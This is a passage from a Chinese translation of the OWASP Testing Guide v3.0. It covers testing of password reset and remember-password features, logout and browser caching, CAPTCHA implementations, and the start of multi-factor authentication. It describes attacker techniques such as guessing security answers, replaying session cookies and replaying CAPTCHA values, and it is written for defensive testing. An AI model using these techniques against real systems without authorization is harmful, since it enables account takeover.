• David Endler:“ 会 话 ID 开 发 与 预 测 ” - http://www.cgisecurity.com/lib/SessionIDs.pdf<br />

Tools<br />

• WebScarab:http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project<br />

• WebGoat:http://www.owasp.org/index.php/OWASP_WebGoat_Project<br />

•<br />

4.4.6 记 住 密 码 和 密 码 重 置 弱 点 测 试 (OWASP-AT-006)<br />

摘 要<br />

如 果 用 户 忘 记 了 自 己 的 密 码 , 大 多 数 Web 应 用 程 序 允 许 用 户 重 置 密 码 , 通 常 应 用 程 序 是 给 用 户 发 送 密 码 重 置 的 电<br />

子 邮 件 和 / 或 要 求 他 们 回 答 一 个 或 多 个 “ 安 全 问 题 ”。 在 这 个 测 试 中 , 我 们 检 查 这 一 职 能 是 否 被 正 确 编 写 并 且 确 认 这<br />

一 功 能 没 有 给 认 证 模 式 引 入 任 何 漏 洞 .。 我 们 还 检 查 应 用 程 序 是 否 允 许 用 户 在 浏 览 器 中 存 储 密 码 (“ 记 住 密 码 ” 功<br />

能 )。<br />

问 题 描 述<br />

大 多 数 Web 应 用 程 序 给 用 户 提 供 了 在 忘 记 密 码 的 情 况 下 找 回 ( 或 重 置 ) 密 码 功 能 。 根 据 应 用 程 序 和 安 全 要 求 等 级<br />

不 同 , 这 个 功 能 的 实 施 步 骤 也 大 不 相 同 , 但 这 一 功 能 总 是 使 用 其 它 的 办 法 验 证 用 户 的 身 份 。 其 中 一 个 最 简 单 的 ( 和 最<br />

常 见 的 ) 的 办 法 是 询 问 用 户 的 e - mail 地 址 , 并 发 送 旧 密 码 ( 或 一 个 新 的 ) 到 该 地 址 。 这 项 计 划 的 前 提 是 假 设 用 户<br />

的 电 子 邮 件 并 没 有 受 到 损 害 并 且 实 现 这 一 操 作 足 够 安 全 。<br />

137


或 者 ( 或 除 此 之 外 ) , 应 用 程 序 可 能 会 要 求 用 户 回 答 一 个 或 多 个 “ 秘 密 问 题 ” , 这 通 常 是 使 用 者 从 可 能 的 问 题 集<br />

合 中 选 择 的 。 这 个 方 法 是 基 于 用 户 利 用 问 题 的 答 案 向 系 统 证 明 自 己 , 而 问 题 的 答 案 是 通 过 个 人 信 息 很 难 查 询 到 的 .。<br />

例 如 , 一 个 非 常 不 安 全 的 问 题 将 是 “ 您 母 亲 结 婚 前 的 姓 氏 ”。 因 为 攻 击 者 很 容 易 就 能 得 知 这 一 信 息 。“ 最 喜 欢 的 高<br />

中 老 师 ” 是 个 相 对 较 安 全 的 问 题 , 因 为 当 用 户 的 用 户 名 已 经 被 盗 用 后 , 攻 击 者 要 研 究 用 户 而 得 到 这 一 问 题 的 答 案 会<br />

比 较 困 难 。<br />

应 用 程 序 为 了 为 用 户 提 供 方 便 常 常 在 本 地 浏 览 器 ( 在 用 户 端 机 器 上 ) 缓 存 密 码 , 并 在 随 后 的 所 有 入 口 都 已 经 预 先 输<br />

入 了 密 码 。 虽 然 这 对 普 通 用 户 来 说 是 个 非 常 友 好 的 功 能 , 但 它 同 时 引 入 了 漏 洞 , 因 为 使 用 同 一 台 电 脑 的 人 很 容 易 进<br />

入 用 户 账 号 。<br />

黑 盒 测 试 和 密 码 重 置 实 例<br />

密 码 重 置<br />

第 一 步 是 检 查 是 否 使 用 了 秘 密 问 题 。 不 事 先 问 安 全 问 题 而 直 接 给 用 户 的 电 子 邮 件 地 址 发 送 密 码 ( 或 密 码 重 置 链 接 )<br />

是 说 明 100% 相 信 邮 件 地 址 的 安 全 。 但 是 如 果 应 用 需 要 更 高 的 安 全 水 平 这 一 方 法 则 不 适 用 。<br />

另 一 方 面 , 如 果 使 用 了 秘 密 问 题 , 下 一 步 就 是 评 估 其 强 度 。<br />

首 先 , 在 密 码 重 置 之 前 需 要 回 答 多 少 个 问 题 ? 大 多 数 的 应 用 程 序 的 用 户 只 需 要 回 答 一 个 问 题 , 但 一 些 重 要 的 应 用 程<br />

序 会 要 求 用 户 正 确 回 答 两 个 或 更 多 的 问 题 。<br />

其 次 , 我 们 需 要 分 析 问 题 本 身 。 通 常 一 个 自 我 重 置 系 统 提 供 了 多 个 可 选 问 题 。 这 对 攻 击 者 也 是 个 好 兆 头 , 因 为 这 也<br />

给 了 他 们 选 择 的 机 会 。 问 问 自 己 , 您 自 己 是 否 可 以 通 过 简 单 的 在 网 上 搜 索 或 社 会 工 程 攻 击 得 到 所 有 问 题 的 答 案 。 作<br />

为 渗 透 测 试 者 , 要 评 估 密 码 重 置 工 具 需 要 一 步 一 步 完 成 下 面 这 些 步 骤 :<br />

• 是 否 有 多 个 问 题 提 供 ?<br />

o 如 果 是 , 请 尝 试 选 择 一 个 有 “ 公 开 ” 答 案 的 问 题 。 例 如 , 通 过 谷 歌 简 单 查 询 就 能 找 到 答 案 的 问 题 。<br />

o 总 是 选 择 一 些 询 问 事 实 的 问 题 , 如 “ 就 读 的 第 一 所 学 校 “ 或 其 它 能 查 找 到 的 事 实 。<br />

o<br />

查 找 有 很 少 选 项 的 问 题 , 如 “ 你 的 第 一 辆 车 是 什 幺 ”; 这 个 问 题 让 攻 击 者 只 需 要 从 少 数 的 备 选 答 案<br />

中 猜 测 , 而 且 根 据 统 计 数 据 攻 击 者 能 把 最 可 能 到 最 不 可 能 的 答 案 排 名 。<br />

• 确 定 有 多 少 个 猜 测 机 会 ( 如 果 可 能 的 话 )<br />

o 是 否 允 许 无 限 制 的 密 码 重 置 ?<br />

o<br />

在 N 种 不 正 确 答 案 后 会 有 锁 定 期 吗 ? 请 记 住 , 一 个 锁 定 系 统 可 以 是 一 个 安 全 问 题 本 身 , 因 为 黑 客 可<br />

以 利 用 它 对 用 户 发 动 拒 绝 服 务 攻 击 。<br />

• 基 于 对 上 述 观 点 的 分 析 选 择 适 当 的 问 题 并 研 究 决 定 最 有 可 能 的 答 案<br />

• 如 何 重 置 密 码 ( 一 旦 成 功 找 到 一 个 问 题 的 答 案 )?<br />

138


OWASP 测 试 指 南 v3.0<br />

o 是 否 允 许 立 即 更 改 密 码 ?<br />

o 是 否 显 示 旧 密 码 ?<br />

o 是 否 将 密 码 发 送 给 预 设 的 邮 件 地 址 ?<br />

o<br />

o<br />

o<br />

最 不 安 全 的 情 况 是 如 果 密 码 重 置 工 具 显 示 您 的 密 码 , 这 使 黑 客 能 够 登 录 到 该 帐 户 。 除 非 应 用 提 供 了<br />

有 关 上 次 登 录 的 信 息 , 否 则 受 害 者 不 会 知 道 他 / 她 的 帐 户 已 经 被 入 侵 。<br />

稍 微 安 全 的 情 况 是 如 果 密 码 重 置 工 具 让 用 户 立 即 改 变 他 / 她 的 密 码 。 虽 然 不 像 第 一 种 情 况 那 幺 隐<br />

蔽 , 它 使 黑 客 能 够 访 问 并 锁 定 真 正 的 用 户 。<br />

最 好 的 安 全 机 制 是 通 过 用 户 最 初 注 册 时 提 供 的 电 子 邮 件 地 址 或 其 它 邮 件 地 址 进 行 密 码 重 置 ; 这 样 攻<br />

击 者 不 仅 需 要 猜 测 所 发 送 的 电 子 邮 件 账 户 ( 除 非 应 用 程 序 已 经 告 知 ), 而 且 为 了 控 制 用 户 进 入 应 用<br />

程 序 必 须 破 解 这 个 邮 件 账 户 。<br />

利 用 和 绕 过 密 码 自 我 重 置 成 功 的 关 键 是 找 到 容 易 得 到 答 案 的 一 个 问 题 或 一 系 列 问 题 。 当 你 完 全 不 确 定 任 何 答 案 时 ,<br />

可 以 寻 找 统 计 概 率 上 最 有 可 能 被 猜 出 正 确 答 案 的 问 题 。 最 薄 弱 问 题 也 就 是 密 码 重 设 工 具 最 容 易 被 攻 破 的 地 方 。 附 带<br />

说 明 , 如 果 应 用 程 序 以 明 文 形 式 发 出 旧 密 码 , 这 意 味 着 密 码 没 有 储 存 在 一 个 hash 表 中 , 这 本 身 就 已 经 是 一 个 安 全<br />

问 题 。<br />

记 住 密 码<br />

“ 记 住 我 的 密 码 ” 机 制 可 按 下 列 方 法 之 一 实 施 :<br />

1. 在 Web 浏 览 器 中 允 许 “ 缓 存 密 码 ” 功 能 。 虽 然 这 个 功 能 不 是 直 接 在 应 用 程 序 中 , 它 可 以 而 且 应 该 被 禁 用 。<br />

2. 在 cookie 中 永 久 存 储 密 码 。 密 码 必 须 散 列 / 加 密 , 而 不 是 以 明 文 形 式 发 送 。<br />

对 于 第 一 种 方 法 , 检 查 登 入 网 页 的 HTML 代 码 , 看 看 是 否 浏 览 器 缓 存 密 码 功 能 已 被 禁 用 。 该 代 码 通 常 会 类 似 于 :<br />

<br />

应 该 禁 用 密 码 自 动 完 成 功 能 , 特 别 是 在 敏 感 的 应 用 程 序 中 。 因 为 攻 击 者 如 果 能 够 获 得 浏 览 器 的 缓 存 , 就 可 以 很 容 易<br />

地 获 取 明 文 密 码 ( 公 用 计 算 机 是 这 种 攻 击 一 个 非 常 显 着 的 例 子 ) 。 检 查 第 二 种 实 施 方 式 就 要 查 看 存 储 在 应 用 程 序 中<br />

的 cookie。 确 定 证 书 是 以 散 列 方 式 而 非 明 文 方 式 存 储 。 同 时 审 查 散 列 机 制 : 如 果 出 现 一 个 众 所 周 知 的 普 通 散 列 存 储<br />

方 式 则 检 查 其 强 度 ; 在 本 地 的 散 列 函 数 中 尝 试 使 用 一 些 用 户 名 检 测 这 个 散 列 函 数 是 否 易 于 猜 测 。 此 外 , 确 认 只 有 在 登<br />

录 阶 段 才 会 发 送 证 书 , 而 不 是 连 同 应 用 程 序 请 求 一 起 发 送 。<br />

灰 盒 测 试 实 例<br />

此 测 试 只 使 用 应 用 程 序 和 HTML 代 码 提 供 给 客 户 端 的 功 能 特 性 。 灰 盒 测 试 遵 循 上 一 节 同 样 的 准 则 。 唯 一 的 不 同 的 是<br />

针 对 cookie 中 加 密 的 密 码 问 题 。 而 这 个 问 题 可 以 应 用 在 Cookie 和 会 话 验 证 控 制 中 的 同 样 的 灰 盒 测 试 分 析 。<br />

139


4.4.7 注 销 和 浏 览 器 缓 存 管 理 测 试 (OWASP-AT-007)<br />

摘 要<br />

在 这 一 阶 段 我 们 检 查 注 销 功 能 是 否 正 确 实 施 , 同 时 确 认 在 注 销 后 会 话 不 能 再 重 新 利 用 。 我 们 还 需 要 检 查 当 用 户 闲 置<br />

一 定 时 间 后 应 用 是 否 会 自 动 注 销 用 户 , 同 时 确 保 浏 览 器 的 缓 存 中 没 有 保 留 任 何 敏 感 的 数 据 。<br />

问 题 描 述<br />

网 络 会 话 结 束 通 常 是 由 下 面 两 个 事 件 引 发 的 :<br />

• 用 户 退 出<br />

• 用 户 闲 置 一 定 的 时 间 后 自 动 在 应 用 程 序 中 注 销<br />

为 了 避 免 引 入 漏 洞 而 导 致 攻 击 者 利 用 其 获 得 未 授 权 访 问 , 必 须 认 真 执 行 以 上 两 种 方 式 。 更 具 体 地 说 , 注 销 功 能 必 须<br />

确 保 所 有 会 话 凭 证 ( 如 :cookie) 全 部 摧 毁 或 无 法 使 用 , 并 且 服 务 器 端 必 须 存 在 适 当 控 制 功 能 以 禁 止 再 次 使 用 这 些<br />

凭 证 。<br />

注 : 对 应 用 程 序 来 说 , 最 重 要 的 是 使 会 话 在 服 务 器 端 无 效 。 通 常 这 意 味 着 必 须 在 代 码 中 加 入 适 当 的 方 法 , 例 如 在 Java<br />

中 使 用 HttpSession.invalidate(), 在 NET 中 使 用 Session.abandon()。 清 除 浏 览 器 的 Cookie 是 一 个 不 错 但 非 必 要 的 方<br />

法 , 因 为 如 果 会 话 已 经 在 服 务 器 上 无 效 , 则 浏 览 器 中 的 cookie 不 会 对 攻 击 者 有 任 何 帮 助 。<br />

如 果 没 有 正 确 执 行 这 些 功 能 , 攻 击 者 可 以 重 放 这 些 会 话 , 以 “ 恢 复 ” 合 法 用 户 的 会 话 并 且 冒 充 他 / 她 ( 这 种 攻 击 通 常<br />

称 “cookie 的 重 复 使 用 ” ) 。 攻 击 者 必 须 能 够 访 问 ( 存 储 在 受 害 者 的 电 脑 中 的 ) 验 证 码 , 但 在 不 同 的 情 况 下 , 它 可<br />

能 不 会 太 困 难 。 用 公 共 电 脑 访 问 私 人 信 息 时 常 常 会 发 生 这 种 攻 击 ( 如 : 网 络 邮 箱 , 网 上 银 行 帐 户 , ……): 当 使 用 者<br />

使 用 应 用 程 序 并 注 销 时 , 如 果 注 销 程 序 没 有 正 确 执 行 , 那 幺 下 一 个 用 户 将 能 进 入 同 样 的 账 号 , 例 如 , 通 过 简 单 使 用 浏<br />

览 器 “ 返 回 ” 按 钮 。 另 一 种 情 况 可 能 是 由 于 跨 站 点 脚 本 漏 洞 或 由 于 没 有 被 SSL100% 实 施 保 护 的 连 接 引 起 的 : 有 缺 陷<br />

的 注 销 功 能 能 使 被 盗 的 Cookie 在 更 长 一 段 时 间 发 挥 作 用 , 从 而 使 攻 击 者 更 容 易 攻 击 。 这 章 内 容 讲 述 的 第 三 种 测 试 就<br />

是 为 了 检 测 应 用 是 否 禁 止 浏 览 器 缓 存 敏 感 信 息 , 这 些 缓 存 信 息 能 危 害 从 公 共 计 算 机 进 入 应 用 程 序 的 用 户 。<br />

黑 盒 测 试 实 例<br />

注 销 功 能 :<br />

第 一 步 是 测 试 是 否 存 在 注 销 功 能 。 检 查 应 用 程 序 是 否 提 供 了 一 个 退 出 按 钮 , 这 个 按 钮 必 须 在 需 要 认 证 的 网 站 的 所 有<br />

网 页 中 存 在 并 清 晰 可 见 。 如 果 注 销 按 钮 并 不 能 清 晰 可 见 或 者 只 在 某 一 个 页 面 。 则 会 产 生 安 全 风 险 . 因 为 用 户 可 能 在 会<br />

话 结 束 时 忘 记 使 用 这 个 按 钮 。<br />

第 二 步 , 不 断 检 查 当 注 销 时 会 话 验 证 码 会 发 生 什 幺 变 化 。 例 如 , 当 使 用 cookies 时 , 正 确 的 做 法 是 清 除 所 有 会 话<br />

cookie 。 通 过 使 用 新 的 设 置 cookie 指 令 , 将 cookie 值 设 置 成 无 效 ( 例 如 :“NULL” 或 其 它 等 价 值 )。 如 果 cookie<br />

140


OWASP 测 试 指 南 v3.0<br />

仍 然 存 在 , 则 将 其 有 效 期 设 置 成 过 去 时 间 , 这 也 就 是 告 诉 浏 览 器 清 除 cookie。 因 此 , 如 果 认 证 页 面 最 初 是 按 下 面 的<br />

方 法 设 置 cookie 的 :<br />

Set-Cookie: SessionID=sjdhqwoy938eh1q; expires=Sun, 29-Oct-2006 12:20:00 GMT; path=/; domain=victim.com<br />

那 幺 注 销 功 能 会 返 回 与 下 面 相 似 的 回 应 :<br />

Set-Cookie: SessionID=noauth; expires=Sat, 01-Jan-2000 00:00:00 GMT; path=/; domain=victim.com<br />

这 个 问 题 的 第 一 个 ( 也 是 最 简 单 的 ) 测 试 就 是 注 销 并 点 击 浏 览 器 “ 返 回 ” 按 钮 , 以 确 认 原 始 用 户 验 证 是 否 有 效 。 如<br />

果 仍 然 有 效 , 就 说 明 注 销 功 能 没 有 达 到 安 全 实 施 标 准 , 这 一 功 能 并 没 有 清 除 会 话 ID。 这 种 情 况 有 时 是 因 为 应 用 程 序<br />

使 用 了 非 持 久 cookie, 用 户 只 有 关 闭 浏 览 器 才 能 有 效 从 内 存 中 清 除 cookie。 如 果 是 这 种 情 况 , 有 些 应 用 程 序 会 给 用<br />

户 提 出 警 告 , 建 议 他 们 关 闭 浏 览 器 。 这 种 方 法 完 全 取 决 于 用 户 行 为 。 跟 清 除 cookie 相 比 , 这 种 方 法 导 致 安 全 级 别 降<br />

低 。 其 它 应 用 程 序 可 能 会 使 用 JavaScript 关 闭 浏 览 器 , 但 这 也 是 一 个 依 赖 于 客 户 端 行 为 的 方 法 。 由 于 客 户 端 浏 览 器<br />

能 够 配 置 成 限 制 执 行 脚 本 ( 这 样 配 置 目 的 是 增 加 安 全 性 , 这 种 情 况 下 反 而 变 成 降 低 安 全 性 ), 这 样 做 也 会 导 致 安 全<br />

性 降 低 。 另 外 , 这 种 办 法 的 有 效 性 将 取 决 于 浏 览 器 厂 商 , 版 本 和 设 置 ( 如 : JavaScript 代 码 可 以 成 功 地 关 闭 Internet<br />

Explorer 但 不 能 关 闭 Firefox) 。<br />

如 果 按 “ 返 回 ” 按 钮 , 我 们 可 以 使 用 以 前 的 网 页 但 无 法 获 得 新 的 页 面 , 这 说 明 我 们 是 在 访 问 浏 览 器 的 缓 存 。 如 果 这<br />

些 网 页 包 含 敏 感 数 据 , 则 说 明 该 申 请 没 有 禁 止 浏 览 器 缓 存 敏 感 数 据 ( 没 有 设 置 Cache - Control 标 题 , 这 个 问 题 我 们<br />

将 在 后 面 章 节 中 分 析 ) 。<br />

在 测 试 了 “ 返 回 ” 按 钮 后 , 我 们 需 要 测 试 更 复 杂 的 内 容 : 重 新 设 置 Cookie 的 原 始 值 和 检 查 我 们 是 否 仍 然 可 以 使 用 应<br />

用 程 序 的 验 证 方 式 。 如 果 我 们 能 , 这 说 明 不 存 在 跟 踪 积 极 和 非 积 极 cookie 的 服 务 器 端 机 制 , 但 存 储 在 cookie 中 正 确<br />

的 信 息 足 以 授 予 访 问 权 限 。 要 将 Cookie 设 置 成 目 标 值 , 我 们 可 以 使 用 WebScarab 拦 截 应 用 的 一 个 反 应 , 并 插 入 包<br />

含 目 标 值 的 Set-Cookie 标 题 :<br />

141


或 者 , 我 们 可 以 在 浏 览 器 中 安 装 一 个 Cookie 编 辑 器 ( 例 如 : 在 Firefox 中 添 加 N Edit Cookie)<br />

设 计 中 没 有 在 服 务 器 端 控 制 注 销 用 户 cookie 的 一 个 典 型 的 例 子 就 是 ASP.NET Forms Authentication 类 别 , 其 中 Cookie<br />

基 本 上 是 用 户 详 细 信 息 的 加 密 和 验 证 版 本 , 这 些 用 户 信 息 都 经 过 服 务 器 端 加 密 和 验 证 处 理 。 这 种 方 法 能 有 效 防 止<br />

cookie 篡 改 , 但 服 务 器 不 保 留 会 话 状 态 的 内 部 记 录 , 这 就 导 致 即 使 cookie 没 有 过 期 , 合 法 用 户 注 销 后 仍 然 不 可 能 进<br />

行 cookie 重 放 攻 击 。( 详 细 参 见 参 考 文 件 ) 。<br />

应 当 指 出 的 是 , 这 一 测 试 只 适 用 于 会 话 cookie。 我 们 不 认 为 那 些 只 储 存 次 要 的 用 户 偏 好 的 数 据 ( 例 如 : 网 站 外 观 )<br />

而 用 户 注 销 时 没 有 删 除 的 持 续 Cookie 是 安 全 风 险 。<br />

超 时 注 销<br />

使 用 前 一 章 节 的 同 样 的 方 法 测 试 超 时 注 销 。 最 合 适 的 注 销 时 间 应 该 是 安 全 ( 较 短 注 销 时 间 ) 和 可 用 性 ( 较 长 注 销 时<br />

间 ) 的 恰 当 平 衡 。 它 极 大 地 取 决 于 应 用 程 序 所 处 理 的 数 据 的 重 要 性 。 对 于 一 个 公 共 论 坛 来 说 , 60 分 钟 的 注 销 时 间 是<br />

142


OWASP 测 试 指 南 v3.0<br />

可 以 接 受 的 , 但 是 对 家 庭 银 行 应 用 程 序 而 言 ,60 分 钟 无 疑 太 长 。 在 这 种 情 况 下 , 除 非 是 特 殊 功 能 要 求 , 否 则 没 有 执<br />

行 超 时 注 销 的 应 用 程 序 是 不 安 全 的 。 这 个 测 试 机 制 与 上 一 章 中 所 列 的 方 法 大 体 相 同 。 首 先 我 们 必 须 检 查 是 否 存 在 超<br />

时 注 销 功 能 。 例 如 先 登 录 , 然 后 花 点 时 间 阅 读 其 它 测 试 指 南 的 章 节 , 等 候 系 统 执 行 超 时 注 销 。 在 注 销 功 能 中 , 如 果<br />

超 过 系 统 设 定 时 间 , 所 有 的 会 话 验 证 码 会 被 清 除 或 无 效 。 我 们 还 需 要 了 解 时 服 务 器 还 是 客 户 端 ( 或 两 者 ) 执 行 时 间<br />

控 制 。 在 cookie 案 例 中 , 如 果 会 话 cookie 是 非 持 久 性 的 ( 或 会 话 验 证 码 并 没 有 储 存 关 于 时 间 的 任 何 数 据 ), 我 们 可<br />

以 确 定 超 时 注 销 是 由 服 务 器 执 行 的 。 如 果 会 话 验 证 码 包 含 时 间 相 关 数 据 ( 例 如 : 登 录 时 间 或 最 后 访 问 时 间 , 或 持 久<br />

cookie 的 到 期 时 间 ), 这 就 说 明 客 户 端 执 行 了 超 时 注 销 功 能 。 在 这 种 情 况 下 , 我 们 需 要 修 改 验 证 码 ( 在 没 有 加 密 保<br />

护 的 情 况 下 ) 并 且 查 看 会 话 有 什 幺 变 化 。 例 如 , 将 cookie 到 期 日 延 长 到 很 久 以 后 , 查 看 会 话 是 否 会 被 延 长 。 作 为 一<br />

般 规 则 , 服 务 器 端 应 该 检 查 一 切 。 这 就 说 明 如 果 把 会 话 cookie 重 新 设 置 成 以 前 值 , 我 们 仍 然 不 可 能 再 次 访 问 应 用 程<br />

序 。<br />

缓 存 页 面<br />

从 应 用 程 序 中 注 销 显 然 不 能 清 除 浏 览 器 缓 存 中 的 任 何 存 储 的 敏 感 信 息 。 因 此 , 需 要 进 行 另 外 测 试 确 认 应 用 程 序 不 会<br />

将 任 何 重 要 数 据 泄 漏 到 浏 览 器 缓 存 中 。 为 了 做 到 这 一 点 , 我 们 可 以 使 用 Web Scarab 搜 索 属 于 我 们 会 话 的 服 务 器 回<br />

应 , 从 而 确 认 在 包 含 敏 感 数 据 的 每 一 个 页 面 中 , 服 务 器 指 示 浏 览 器 不 会 缓 存 任 何 数 据 。 在 HTTP 回 应 标 题 中 的 指 令<br />

如 下 :<br />

HTTP/1.1:<br />

Cache-Control: no-cache<br />

HTTP/1.0:<br />

Pragma: no-cache<br />

Expires: <br />

或 者 , 可 直 接 在 HTML 层 中 在 包 含 敏 感 数 据 的 每 个 页 面 加 入 下 面 的 代 码 :<br />

HTTP/1.1:<br />

<br />

HTTP/1.0:<br />

<br />

<br />

例 如 , 如 果 我 们 正 在 测 试 一 个 电 子 商 务 的 应 用 , 我 们 应 该 查 看 包 含 信 用 卡 号 码 或 其 它 财 务 资 料 的 所 有 网 页 , 并 检 查<br />

所 有 这 些 网 页 执 行 的 no - cache 指 令 。 另 一 方 面 , 如 果 我 们 发 现 网 页 包 含 敏 感 信 息 但 是 不 能 指 示 浏 览 器 不 缓 存 这 些<br />

内 容 , 那 幺 敏 感 信 息 会 被 存 储 在 磁 盘 上 , 我 们 可 以 仔 细 检 查 浏 览 器 缓 存 再 次 确 认 。 信 息 存 储 的 确 切 位 置 取 决 于 客 户<br />

端 操 作 系 统 和 使 用 的 浏 览 器 。 但 下 面 有 其 它 情 况 :<br />

Mozilla Firefox:<br />

o<br />

o<br />

Unix/Linux: ~/.mozilla/firefox//Cache/<br />

Windows: C:\Documents and Settings\\Local Settings\Application<br />

Data\Mozilla\Firefox\Profiles\\Cache><br />

143


• Internet Explorer:<br />

o<br />

C:\Documents and Settings\\Local Settings\Temporary Internet Files><br />

灰 盒 测 试 实 例<br />

一 般 我 们 需 要 检 查 :<br />

• 注 销 功 能 能 有 效 清 除 所 有 会 话 验 证 码 , 至 少 使 这 些 验 证 码 无 效 。<br />

• 服 务 器 对 会 话 状 态 进 行 适 当 的 检 查 , 不 允 许 攻 击 者 重 新 使 用 以 前 的 验 证 码<br />

• 执 行 超 时 注 销 功 能 并 且 最 好 是 由 服 务 器 执 行 。 如 果 服 务 器 从 客 户 端 发 送 的 会 话 验 证 码 中 读 取 到 期 时 间 , 那<br />

幺 验 证 码 必 须 加 密 保 护<br />

安 全 缓 存 测 试 的 方 法 和 黑 盒 测 试 一 样 , 因 为 这 两 种 情 况 我 们 都 能 查 看 服 务 器 回 应 报 头 和 HTML 代 码 。<br />

参 考<br />

白 皮 书<br />

• ASP.NET Forms Authentication: "Best Practices for Software Developers" -<br />

http://www.foundstone.com/resources/whitepapers/ASPNETFormsAuthentication.pdf<br />

• "The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications" -<br />

http://support.microsoft.com/default.aspx?scid=kb;en-us;900111<br />

Tools<br />

• Add N Edit Cookies (Firefox extension): https://addons.mozilla.org/firefox/573/<br />

4.4.8 CAPTCHA 测 试 (OWASP-AT-008)<br />

概 述<br />

CAPTCHA( “ 全 自 动 区 分 计 算 机 和 人 类 的 图 灵 测 试 ” ) 是 一 种 许 多 Web 应 用 程 序 使 用 的 挑 战 响 应 测 试 , 以 确 保 反<br />

应 不 是 由 计 算 机 生 成 。 即 使 产 生 的 captcha 是 牢 不 可 破 的 , 实 施 captch 却 经 常 遭 受 各 种 攻 击 。 本 节 将 帮 助 您 确 定 这<br />

些 类 型 的 攻 击 。<br />

问 题 描 述<br />

虽 然 CAPTCHA 不 是 一 个 身 份 验 证 控 制 , 但 是 使 用 他 可 以 非 常 有 效 地 打 击 以 下 情 况 :<br />

• 枚 举 攻 击 ( 登 录 , 注 册 或 密 码 重 置 表 单 往 往 容 易 受 到 枚 举 攻 击 - 没 有 CAPTCHA, 攻 击 者 可 以 在 很 短 的 时 间 内<br />

得 到 有 效 的 用 户 名 , 电 话 号 码 或 其 它 敏 感 信 息 )<br />

144


OWASP 测 试 指 南 v3.0<br />

• 在 短 时 间 内 自 动 发 送 许 多 不 需 要 的 GET / POST 请 求 ( 例 如 , 短 信 / 彩 信 / 电 子 邮 件 泛 滥 ),CAPTCHA 提 供 速<br />

率 限 制 功 能<br />

• 自 动 创 建 / 使 用 人 类 使 用 的 帐 户 ( 例 如 , 创 造 邮 局 帐 户 , 阻 断 垃 圾 邮 件 )<br />

• 出 于 商 业 促 销 , 骚 扰 或 破 坏 目 的 , 自 动 在 博 客 , 论 坛 和 wiki 发 帖<br />

• 任 何 自 动 攻 击 , 从 应 用 程 序 大 量 的 收 集 或 滥 用 敏 感 信 息<br />

不 建 议 使 用 CAPTCHAs 作 为 CSRF 保 护 ( 因 为 有 更 强 的 CSRF 对 策 ) 。<br />

大 多 数 CAPTCHA 在 实 施 中 常 见 下 列 漏 洞 :<br />

• 产 生 薄 弱 的 图 像 薄 弱 的 图 像 薄 弱 的 图 像 薄 弱 的 图 像 薄 弱 的 CAPTCHA 图 像 。 这 些 图 像 通 过 与 已 解 析 的<br />

CAPTCHA 进 行 比 较 就 能 识 别 ( 不 使 用 任 何 复 杂 的 计 算 机 识 别 系 统 )<br />

• 产 生 的 CAPTCHA 问 题 的 答 案 非 常 有 限<br />

• 客 户 端 ( 以 GET 参 数 或 POST 表 单 的 隐 藏 字 段 方 式 ) 传 送 CAPTCHA 解 码 值 。 这 个 值 通 常 :<br />

o<br />

通 过 简 单 算 法 加 密 , 并 且 通 过 观 察 多 种 CAPTCHA 解 码 值 就 能 轻 松 解 密<br />

o 通 过 弱 散 列 函 数 进 行 散 列 加 密 ( 例 如 MD5 编 码 ), 但 这 一 加 密 能 使 用 彩 虹 表 打 破 。<br />

• 重 放 攻 击 的 可 能 性 :<br />

o<br />

o<br />

应 用 程 序 不 会 记 录 发 送 给 用 户 哪 些 CAPTCHA 图 片 ID。 因 此 , 攻 击 者 可 以 简 单 地 获 得 一 个 适 当 的<br />

CAPTCHA 图 片 和 ID, 然 后 进 行 解 码 , 并 发 送 CAPTCHA 解 码 值 和 相 关 ID(CPAPTCHA 的 ID 可 能 是<br />

CAPTCHA 的 HASH 解 码 或 任 何 独 特 标 识 )<br />

当 输 入 正 确 的 词 组 时 , 应 用 不 删 除 会 话 —— 通 过 重 用 已 知 CAPTCHA 的 会 话 ID, 有 可 能 绕 过<br />

CAPTCHA 保 护 页<br />

黑 盒 测 试 实 例<br />

使 用 故 障 注 入 拦 截 代 理 ( 例 如 , WebScarab ) 可 以 :<br />

• 确 定 所 发 送 的 所 有 参 数 和 从 客 户 端 发 送 到 服 务 器 的 CAPTCHA 解 码 值 ( 这 些 参 数 可 以 包 含 CAPTCHA 解 码 的<br />

加 密 或 散 列 值 和 CAPTCHAID)<br />

• 尝 试 发 送 一 个 旧 的 CAPTCHA 解 码 值 与 旧 的 CAPTCHAID ( 如 果 应 用 程 序 接 受 他 们 , 这 是 容 易 受 到 重 放 攻 击 )<br />

• 尝 试 发 送 一 个 旧 的 CAPTCHA 解 码 值 与 旧 会 话 ID ( 如 果 接 受 , 但 很 容 易 受 到 重 放 攻 击 )<br />

145


查 看 是 否 类 似 CAPTCHAs 已 经 被 打 破 。 可 以 在 gimpy ,WNtcha 和 lafdc 这 里 找 到 被 破 解 的 CAPTCHA 图 像 。<br />

验 证 CAPTCHA 可 能 的 答 案 组 是 否 是 有 限 且 容 易 确 认 。<br />

灰 盒 测 试 实 例<br />

审 查 应 用 源 代 码 审 计 用 于 发 现 :<br />

• 所 使 用 的 CAPTCHA 的 实 现 和 版 本 - 在 广 泛 使 用 的 CAPTCHA 实 现 中 发 现 许 多 已 知 的 漏 洞 , 详 情 请 见<br />

http://osvdb.org/search?request=captcha<br />

• 如 果 应 用 程 序 从 客 户 端 发 送 加 密 或 散 列 值 ( 这 是 一 个 非 常 糟 糕 的 安 全 做 法 ) 验 证 所 采 用 加 密 或 散 列 算 法 是<br />

否 足 够 强 大<br />

参 考<br />

Captcha 解 码 器<br />

• (Opensource) PWNtcha captcha decoder<br />

• (Opensource) The Captcha Breaker<br />

• (Commercial) Captcha decoder<br />

文 章<br />

• (Commercial - Free) Online Captcha Decoder Free limited usage, enough for testing.<br />

• Breaking a Visual CAPTCHA<br />

• Breaking CAPTCHAs Without Using OCR<br />

• Why CAPTCHA is not a security control for user authentication<br />

4.4.9 多 因 素 认 证 测 试 (OWASP-AT-009)<br />

摘 要<br />

对 “ 多 因 素 认 证 系 统 ” (MFAS) 强 度 进 行 评 估 是 渗 透 测 试 的 一 个 重 要 任 务 。 银 行 和 其 它 金 融 机 构 会 在 MFAS 方 面<br />

花 费 大 量 的 金 钱 ; 因 此 我 们 建 议 在 实 施 方 案 之 前 进 行 准 确 测 试 是 非 常 必 要 的 。 此 外 , 如 果 当 前 实 施 的 MFAS 能 有 效<br />

